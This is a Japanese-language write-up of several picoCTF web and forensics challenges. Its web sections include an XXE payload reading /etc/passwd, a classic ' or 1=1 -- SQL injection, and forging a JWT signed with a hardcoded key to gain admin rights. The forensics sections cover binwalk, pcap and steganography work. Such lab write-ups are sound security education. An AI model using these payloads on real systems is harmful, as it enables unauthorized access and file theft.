- [web] findme
- [web] MatchTheRegex
- [web] SOAP
- [web] More SQLi
- [web] Java Code Analysis!?!
- [Forensics] hideme
- [Forensics] PcapPoisoning
- [Forensics] who is it
- [Forensics] FindAndOpen
- [Forensics] MSB
[web] findme
Burp Suiteを開いて、ユーザー名test, パスワードtest!でログインする。
すると、
GET /next-page/id=cGljb0NURntwcm94aWVzX2Fs HTTP/1.1 Host: saturn.picoctf.net:65215 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://saturn.picoctf.net:65215/ Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 Connection: close
で応答が
HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/html; charset=utf-8 Content-Length: 264 ETag: W/"108-/7O7VTeecocneZ8ZrGW1rxPrD4s" Date: Thu, 16 Mar 2023 14:23:43 GMT Connection: close <!DOCTYPE html> <head> <title>flag</title> </head> <body> <script> setTimeout(function () { // after 2 seconds window.location = "/next-page/id=bF90aGVfd2F5XzAxZTc0OGRifQ=="; }, 0.5) </script> <p></p> </body>
というログが残っている。
idに何か渡されている。
cGljb0NURntwcm94aWVzX2Fs bF90aGVfd2F5XzAxZTc0OGRifQ==
初めて見る人にはピンとこないかもしれないが、分かりやすい部分でいうと=で終わっているのでbase64でエンコードされているっぽく見える。
base64でデコードしてみるとフラグになる。
[web] MatchTheRegex
文字列を提出可能なサイトが渡される。
色々試すとpicoCTF{abc}
と入れると正規表現にマッチしたのかフラグがもらえた。
[web] SOAP
/etc/passwdを読み込むのがゴールらしい。
burp suiteを開いて、適当に巡回して、ログを見てみると、xmlを使ったリクエストがある。
POST /data HTTP/1.1 Host: saturn.picoctf.net:54579 Content-Length: 61 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 Content-Type: application/xml Accept: */* Origin: http://saturn.picoctf.net:54579 Referer: http://saturn.picoctf.net:54579/ Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 Connection: close <?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>
xmlと言えばXXEなので、XXEを使ってLFIできないか試す。
以下のようなリクエストを送ると/etc/passwdが取得でき、フラグも書いてある。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><data><ID>&xxe;</ID></data>
[web] More SQLi
ログイン画面が与えられる。
SQLクエリも教えてくれるので、SQL Injectionを期待しているのだろう。
passwordにいつもの ' or 1=1 --
を入れるとフラグが出てきた。
[web] Java Code Analysis!?!
コードが長くて、ちょっとやる気が…というのもありヒントをかなり見て攻略した。
Hint1
Upgrade your 'role' with the new (cracked) JWT. And re-login for the new role to get reflected in browser's localStorage.
JwtService.javaを見てみる。
this.SECRET_KEY = secretGenerator.getServerSecret();
secretGeneratorというクラスが使われているようだ。
そちらを見てみると…
private String generateRandomString(int len) { // not so random return "1234"; }
ハードコーディングされた固定値だった。
JWT(というよりJWSか)の署名に使われている秘密鍵は1234であることがわかる。
Hint2
The 'role' and 'userId' fields in the JWT can be of interest to you!
とりあえずログインして発行されたJWTを見てみよう。
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTYxNTU1MCwiaWF0IjoxNjc5MDEwNzUwLCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.NwRkqMUI3G0TyMF50C5S0tYjENSgIzpTuGy2drtFVO0
jwt.ioに入れてみてみるとpayloadとして以下のようなものが入っている。
{ "role": "Free", "iss": "bookshelf", "exp": 1679615550, "iat": 1679010750, "userId": 1, "email": "user" }
つまり、ここにある要素が改ざん可能。
Hint3
The 'controllers', 'services' and 'security' java packages in the given source code might need your attention. We've provided a README.md file that contains some documentation.
roleがどう見ても怪しいので、ソースコードでgrepしてみると、Free,Admin,Premiumがあるみたい。
jwt.io上で試しにAdminに修正して、秘密鍵を1234でトークンを作成しよう。
GET /base/books/pdf/3
というエンドポイントで試すと、PDFが帰って来る。
GET /base/books
を見るとid=5がFlagらしいので、GET /base/books/pdf/5
に渡してみるが、権限が足りないといわれる。
ソースコード巡回するとBookPdfAccessCheck.java
というかなりそれっぽいクラスが見つかる。
中身を見るとuserIdも考慮していそう。
userIdを2に変更してみると中身を見ることができた。
[Forensics] hideme
pngファイルが与えられる。
まずはstringsしてみる。
$ strings flag.png -n 10 pXch \\Q$+ secret/UT secret/flag.pngUT DE}|*+[Zvv8b secret/flag.pngUT
なにか埋め込まれていそう。
binwalkしてみる。
$ binwalk -e flag.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced 41 0x29 Zlib compressed data, compressed 39739 0x9B3B Zip archive data, at least v1.0 to extract, name: secret/ 39804 0x9B7C Zip archive data, at least v2.0 to extract, compressed size: 3004, uncompressed size: 3162, name: secret/flag.png 43043 0xA823 End of Zip archive, footer length: 22
何かありますね。
抽出結果を見るとsecret/flag.png
にフラグが書かれたpngファイルが抽出されてきている。
[Forensics] PcapPoisoning
pcapファイルが与えられる。
No. 507のパケットを見ると平文でフラグが書いてあった。
なので単にstrings trace.pcap | grep pico
とすればフラグが得られる。
[Forensics] who is it
メールの送信元が誰のメールサーバーを特定するのが目的な問題。
Receiveを遅い順にみていく。
Received: from localhost by mail.onionmail.org (ZoneMTA) with API id 181dc76dff2000ccee.001 for <francismanzi@gmail.com>; Fri, 08 Jul 2022 06:19:47 +0000
一番送信元に近いのはコレだけれどfrom localhostなのであまり参考にならない。
Received: from mail.onionmail.org (mail.onionmail.org. [173.249.33.206]) by mx.google.com with ESMTPS id f16-20020a05600c4e9000b003a1947873d6si1882702wmq.224.2022.07.07.23.19.47 for <francismanzi@gmail.com> (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Thu, 07 Jul 2022 23:19:47 -0700 (PDT)
次はこれ。
人名が必要そうなので思いつくのはwhois情報。
ここにあるIPアドレスのwhoisを見てみると人名が抽出でき、フォーマット通りにすると答え。
whoisは見るところで情報が違うので色々見てみると、ドメイン/IPアドレス サーチ 【whois情報検索】から人名が抽出できた。
[Forensics] FindAndOpen
flag.zipにはパスワードがかかっている。
pcapからパスワードを抜いてくる問題。
pcapを見るとEthernet無視でデータが送られている。
0000 46 6c 79 69 6e 67 20 6f 6e 20 45 74 68 65 72 6e Flying on Ethern 0010 65 74 20 73 65 63 72 65 74 3a 20 49 73 20 74 68 et secret: Is th 0020 69 73 20 74 68 65 20 66 6c 61 67 is the flag 0000 69 42 77 61 57 4e 76 51 31 52 47 65 31 43 6f 75 iBwaWNvQ1RGe1Cou 0010 6c 64 20 74 68 65 20 66 6c 61 67 20 68 61 76 65 ld the flag have 0020 20 62 65 65 6e 20 73 70 6c 69 74 74 65 64 3f been splitted? 0000 41 41 42 42 48 48 50 4a 47 54 46 52 4c 4b 56 47 AABBHHPJGTFRLKVG 0010 68 70 63 79 42 70 63 79 42 30 61 47 55 67 63 32 hpcyBpcyB0aGUgc2 0020 56 6a 63 6d 56 30 4f 69 42 77 61 57 4e 76 51 31 VjcmV0OiBwaWNvQ1 0030 52 47 65 31 49 7a 4e 45 52 4a 54 6b 64 66 54 45 RGe1IzNERJTkdfTE 0040 39 4c 5a 46 38 3d 9LZF8= 0000 50 42 77 61 57 55 76 51 31 52 47 65 73 61 62 61 PBwaWUvQ1RGesaba 0010 62 61 62 6b 6a 61 41 53 4b 42 4b 53 42 41 43 56 babkjaASKBKSBACV 0020 56 41 56 53 44 44 53 53 53 53 44 53 4b 4a 42 4a VAVSDDSSSSDSKJBJ 0030 53 S 0000 50 42 77 61 57 55 76 51 31 52 47 65 31 4d 61 79 PBwaWUvQ1RGe1May 0010 62 65 20 74 72 79 20 63 68 65 63 6b 69 6e 67 20 be try checking 0020 74 68 65 20 6f 74 68 65 72 20 66 69 6c 65 the other file
単純に文字としてみると以下のような感じ
Flying on Ethernet secret: Is this the flag iBwaWNvQ1RGe1Could the flag have been splitted? AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8= PBwaWUvQ1RGesabababkjaASKBKSBACVVAVSDDSSSSDSKJBJS PBwaWUvQ1RGe1Maybe try checking the other file
base64っぽさがあり、base64として解釈できそうな所を切り取ってみると以下のような感じ
Flying on Ethernet secret: Is this the flag iBw aWNvQ1RGe1 -> icoCTF{ Could the flag have been splitted? AABBHHPJGTFRLK VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8= -> This is the secret: picoCTF{R34DING_LOKd_ PBw aWUvQ1RGe -> ie/CTF sabababkja ASKBKSBACVVAVSDDSSSSDSKJBJS PBw aWUvQ1RGe1 -> ie/CTF{ Maybe try checking the other file
よくわからない感じだったがThis is the secret: picoCTF{R34DING_LOKd_
というのが目を引く。
ダメ元でpicoCTF{R34DING_LOKd_
をパスワードとして使ってみるとzipが解凍でき、フラグが入っている。
[Forensics] MSB
MSBとのことなので、画像のRGB値の最上位ビットを持ってきてasciiに変換すると文字が現れる。
「青い空を見上げればいつもそこに白い猫」という神ツールがあるので、
これで画像を開き、ステガノグラフィー解析で見てみる。
色々フィルターを適用してみると、最上位ビットで砂嵐というか画像的な傾向がなくなっているので画像とは関係ないデータが埋め込まれているのでは?という感じがする。
ビット抽出を選択してRGBの7ビット目を選択してバイナリデータ表示をすると文字列が現れる。
これを持ってきてpicoCTFを探すとフラグが置いてある。